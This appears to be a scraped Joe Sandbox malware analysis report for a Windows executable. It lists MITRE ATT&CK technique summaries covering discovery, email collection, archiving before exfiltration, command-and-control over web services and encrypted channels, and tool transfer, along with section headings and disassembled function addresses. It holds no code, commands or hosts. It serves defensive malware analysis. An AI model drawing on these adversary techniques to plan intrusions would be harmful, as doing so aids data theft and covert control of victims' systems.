Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Function 004019F0 Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747
comprocessCOMMON

Function 021085C0 Relevance: 6.7, Strings: 5, Instructions: 467
COMMON

Function 0210CDB8 Relevance: 6.6, Strings: 5, Instructions: 350
COMMON

Function 02105868 Relevance: 6.4, Strings: 5, Instructions: 197
COMMON

Function 0210DAE0 Relevance: 6.4, Strings: 5, Instructions: 189
COMMON

Function 0210D808 Relevance: 6.4, Strings: 5, Instructions: 188
COMMON

Function 02106150 Relevance: 6.4, Strings: 5, Instructions: 187
COMMON

Function 0210D530 Relevance: 6.4, Strings: 5, Instructions: 187
COMMON

Function 0210D25A Relevance: 6.4, Strings: 5, Instructions: 186
COMMON

Function 02105E79 Relevance: 6.4, Strings: 5, Instructions: 184
COMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre